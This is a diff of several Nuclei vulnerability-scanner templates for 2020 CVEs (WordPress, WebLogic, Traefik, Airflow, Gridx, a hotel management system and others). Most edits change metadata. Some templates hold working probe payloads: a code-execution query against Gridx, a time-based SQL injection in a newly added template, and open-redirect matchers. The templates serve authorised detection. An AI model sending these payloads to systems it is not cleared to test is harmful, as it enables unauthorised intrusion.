+        Content-Type: application/x-www-form-urlencoded
+        Referer: {{RootURL}}/authentication/login
+
+        user_id={{username}}&password={{password}}&stay_logged_in=on&login=Login
+
+    cookie-reuse: true
+    matchers:
+      - type: regex
+        part: header
+        regex:
+          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
@@ -1,7 +1,7 @@
 id: CVE-2020-13700

 info:
-  name: WordPresss acf-to-rest-api <=3.1.0- Insecure Direct Object Reference
+  name: WordPresss acf-to-rest-api <=3.1.0 - Insecure Direct Object Reference
  author: pikpikcu
  severity: high
  description: |
@@ -1,16 +1,16 @@
 id: CVE-2020-13820

 info:
-  name: Extreme Management Center 8.4.1.24 - Cross Site Scripting
+  name: Extreme Management Center 8.4.1.24 - Cross-Site Scripting
  author: tess
  severity: medium
  description: |
-    Extreme Management Center 8.4.1.24 allows unauthenticated reflected XSS via a parameter in a GET request.
+    Extreme Management Center 8.4.1.24 contains a cross-site scripting vulnerability via a parameter in a GET request. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://medium.com/@0x00crash/xss-reflected-in-extreme-management-center-8-4-1-24-cve-2020-13820-c6febe951219
    - https://gtacknowledge.extremenetworks.com/articles/Solution/000051136
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-13820
    - https://gtacknowledge.extremenetworks.com
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-13820
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -43,3 +43,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by mp on 2022/10/05
@@ -1,7 +1,7 @@
 id: CVE-2020-13937

 info:
-  name: Apache Kylin Exposed Configuration File
+  name: Apache Kylin - Exposed Configuration File
  author: pikpikcu
  severity: medium
  description: Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1,  3.0.2, 3.1.0, 4.0.0-alpha have one REST API which exposed Kylin's configuration information without authentication.
@@ -1,20 +1,21 @@
 id: CVE-2020-13945

 info:
-  name: Apache APISIX's Admin API Default Access Token (RCE)
+  name: Apache APISIX - Insufficiently Protected Credentials
  author: pdteam
  severity: medium
-  description: In Apache APISIX, the user enabled the Admin API and deleted the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data. This affects versions 1.2, 1.3, 1.4, 1.5.
+  description: Apache APISIX 1.2, 1.3, 1.4, and 1.5 is susceptible to insufficiently protected credentials. An attacker can enable the Admin API and delete the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data.
  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-13945
    - https://github.com/vulhub/vulhub/tree/master/apisix/CVE-2020-13945
    - https://lists.apache.org/thread.html/r792feb29964067a4108f53e8579a1e9bd1c8b5b9bc95618c814faf2f%40%3Cdev.apisix.apache.org%3E
    - http://packetstormsecurity.com/files/166228/Apache-APISIX-Remote-Code-Execution.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-13945
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2020-13945
-  tags: rce,intrusive,vulhub,packetstorm,cve,cve2020,apache,apisix
+    cwe-id: CWE-522
+  tags: intrusive,vulhub,packetstorm,cve,cve2020,apache,apisix

 requests:
  - raw:
@@ -56,3 +57,5 @@ requests:
      - type: regex
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
+
+# Enhanced by mp on 2022/10/06
@@ -25,8 +25,8 @@ requests:
    matchers:
      - type: word
        words:
-          - "searchers"
-          - "groups"
+          - '{"searchers":'
+          - '"groups":'
        condition: and

      - type: status
@@ -21,13 +21,16 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/secure/ViewUserHover.jspa"
+      - '{{BaseURL}}/secure/ViewUserHover.jspa'

    matchers-condition: and
    matchers:
      - type: word
        words:
-          - "User does not exist"
+          - 'User does not exist'
+          - 'content="JIRA"'
+        condition: and
+
      - type: status
        status:
          - 200
@@ -15,7 +15,7 @@ info:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14408
  metadata:
    verified: true
-  tags: cve,cve2022,cockpit,agentejo,xss,oss
+  tags: cve,cve2020,cockpit,agentejo,xss,oss

 requests:
  - method: GET
@@ -1,13 +1,11 @@
 id: CVE-2020-14750

 info:
-  name: Oracle WebLogic Server - Remote Code Execution
+  name: Oracle WebLogic Server - Remote Command Execution
  author: princechaddha,DhiyaneshDk
  severity: critical
  description: |
-    This Security Alert addresses CVE-2020-14750, a remote code execution vulnerability in Oracle WebLogic Server.
-    This vulnerability is related to CVE-2020-14882, which was addressed in the October 2020 Critical Patch Update.
-    It is remotely exploitable without authentication, i.e., may be exploited over a network without the need for a username and password.
+    Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.
  reference:
    - https://github.com/pprietosanchez/CVE-2020-14750
    - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
@@ -66,3 +64,5 @@ requests:
        part: body
        regex:
          - '<html><head></head><body>(.*)</body></html>'
+
+# Enhanced by mp on 2022/10/06
@@ -1,15 +1,16 @@
 id: CVE-2020-15129

 info:
-  name: Open-redirect in Traefik
+  name: Traefik - Open Redirect
  author: dwisiswant0
  severity: medium
-  description: There exists a potential open redirect vulnerability in Traefik's handling of the X-Forwarded-Prefix header. Active Exploitation of this issue is unlikely as it would require active header injection, however the Traefik team may want to address this issue nonetheless to prevent abuse in e.g. cache poisoning scenarios.
+  description: Traefik before 1.7.26, 2.2.8, and 2.3.0-rc3 contains an open redirect vulnerability in the X-Forwarded-Prefix header. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2020-140-Containous-Traefik
    - https://github.com/containous/traefik/releases/tag/v2.2.8
    - https://github.com/containous/traefik/pull/7109
    - https://github.com/containous/traefik/security/advisories/GHSA-6qq8-5wq3-86rp
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-15129
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.7
@@ -35,3 +36,5 @@ requests:
        part: body
        words:
          - "<a href=\"https://foo.nl/dashboard/\">Found</a>"
+
+# Enhanced by md on 2022/10/13
@@ -1,20 +1,22 @@
 id: CVE-2020-17526

 info:
-  name: Apache Airflow < 1.10.14 - Authentication Bypass
+  name: Apache Airflow <1.10.14 - Authentication Bypass
  author: piyushchhiroliya
  severity: high
  description: |
-    Incorrect Session Validation in Apache Airflow Webserver versions prior to 1.10.14 with default config allows a malicious airflow user on site A where they log in normally, to access unauthorized Airflow Webserver on Site B through the session from Site A.
+    Apache Airflow prior to 1.10.14 contains an authentication bypass vulnerability via incorrect session validation with default configuration. An attacker on site A can access unauthorized Airflow on site B through the site A session.
  reference:
    - https://kloudle.com/academy/authentication-bypass-in-apache-airflow-cve-2020-17526-and-aws-cloud-platform-compromise
-    - https://nvd.nist.gov/vuln/detail/CVE-2020-17526
    - https://lists.apache.org/thread.html/rbeeb73a6c741f2f9200d83b9c2220610da314810c4e8c9cf881d47ef%40%3Cusers.airflow.apache.org%3E
    - http://www.openwall.com/lists/oss-security/2020/12/21/1
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-17526
+  remediation: Change default value for [webserver] secret_key config.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2020-17526
+    cwe-id: CWE-287
  metadata:
    fofa-query: Apache Airflow
    verified: "true"
@@ -49,3 +51,5 @@ requests:
          - "contains(body_1, 'Redirecting...')"
          - "status_code_1 == 302"
        condition: and
+
+# Enhanced by md on 2022/10/19
@@ -1,14 +1,15 @@
 id: CVE-2020-18268

 info:
-  name: Z-BlogPHP 1.5.2 - Open Redirect
+  name: Z-Blog <=1.5.2 - Open Redirect
  author: 0x_Akoko
  severity: medium
-  description: Open Redirect in Z-BlogPHP v1.5.2 and earlier allows remote attackers to obtain sensitive information via the "redirect" parameter in the component "zb_system/cmd.php."
+  description: Z-Blog 1.5.2 and earlier contains an open redirect vulnerability via the redirect parameter in zb_system/cmd.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://github.com/zblogcn/zblogphp/issues/216
    - https://www.cvedetails.com/cve/CVE-2020-18268
    - https://github.com/zblogcn/zblogphp/issues/209
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-18268
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
@@ -37,3 +38,5 @@ requests:
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1
+
+# Enhanced by md on 2022/10/13
@@ -7,9 +7,9 @@ info:
  description: FHEM version 6.0 suffers from a local file inclusion vulnerability.
  reference:
    - https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability/blob/master/README.md
-    - https://www.cvedetails.com/cve/CVE-2020-19360/
    - https://github.com/EmreOvunc/FHEM-6.0-Local-File-Inclusion-LFI-Vulnerability
    - https://emreovunc.com/blog/en/FHEM-v6.0-LFI-Vulnerability-01.png
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-19360
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
@@ -7,9 +7,9 @@ info:
  description: |
    Gridx 1.3 is susceptible to remote code execution via tests/support/stores/test_grid_filter.php, which allows remote attackers to execute arbitrary code via crafted values submitted to the $query parameter.
  reference:
+    - http://mayoterry.com/file/cve/Remote_Code_Execution_Vulnerability_in_gridx_latest_version.pdf
    - https://github.com/oria/gridx/issues/433
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19625
-    - http://mayoterry.com/file/cve/Remote_Code_Execution_Vulnerability_in_gridx_latest_version.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
@@ -19,23 +19,18 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/tests/support/stores/test_grid_filter.php?query=phpinfo();"
+      - "{{BaseURL}}/tests/support/stores/test_grid_filter.php?query=echo%20md5%28%22CVE-2020-19625%22%29%3B"

    matchers-condition: and
    matchers:
+
+      - type: word
+        part: body
+        words:
+          - "6ca86c2c17047c14437f55c42c801c10"
+
      - type: status
        status:
          - 200
-      - type: word
-        words:
-          - "PHP Extension"
-          - "PHP Version"
-        condition: and
-    extractors:
-      - type: regex
-        part: body
-        group: 1
-        regex:
-          - '<h1 class=\"p\">PHP Version ([0-9.]+)<\/h1>'

 # Enhanced by mp on 2022/04/27
@@ -1,11 +1,11 @@
 id: CVE-2020-20285

 info:
-  name: zzcms - Reflected XSS
+  name: ZZcms - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: |
-    There is a XSS in the user login page in zzcms 2019. Users can inject js code by the referer header via user/login.php
+    ZZcms 2019 contains a cross-site scripting vulnerability in the user login page. An attacker can inject arbitrary JavaScript code in the referer header via user/login.php, which can allow theft of cookie-based credentials and launch of subsequent attacks.
  reference:
    - https://github.com/iohex/ZZCMS/blob/master/zzcms2019_login_xss.md
    - https://nvd.nist.gov/vuln/detail/CVE-2020-20285
@@ -41,3 +41,5 @@ requests:
      - type: status
        status:
          - 200
+
+# Enhanced by md on 2022/10/17
@@ -12,8 +12,8 @@ info:
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
-    cve-id: CVE-2020-20300
    cwe-id: CWE-89
+    cve-id: CVE-2020-20300
  metadata:
    shodan-query: http.html:"WeiPHP5.0"
    verified: "true"
@@ -0,0 +1,39 @@
+id: CVE-2020-21012
+
+info:
+  name: Sourcecodester Hotel and Lodge Management System 2.0 - SQL Injection
+  author: edoardottt
+  severity: critical
+  description: |
+    Sourcecodester Hotel and Lodge Management System 2.0 contains a SQL injection vulnerability via the email parameter to the edit page for Customer, Room, Currency, Room Booking Details, or Tax Details. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
+  reference:
+    - https://github.com/hitIer/web_test/tree/master/hotel
+    - https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-21012
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2020-21012
+    cwe-id: CWE-89
+  metadata:
+    verified: "true"
+  tags: cve,cve2020,hotel,sqli,unauth
+
+requests:
+  - raw:
+      - |
+        POST /forgot_password.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        btn_forgot=1&email=1%27%20or%20sleep(6)%23
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'duration>=6'
+          - 'status_code == 200'
+          - 'contains(body, "Hotel Booking System")'
+        condition: and
+
+# Enhanced by md on 2022/12/08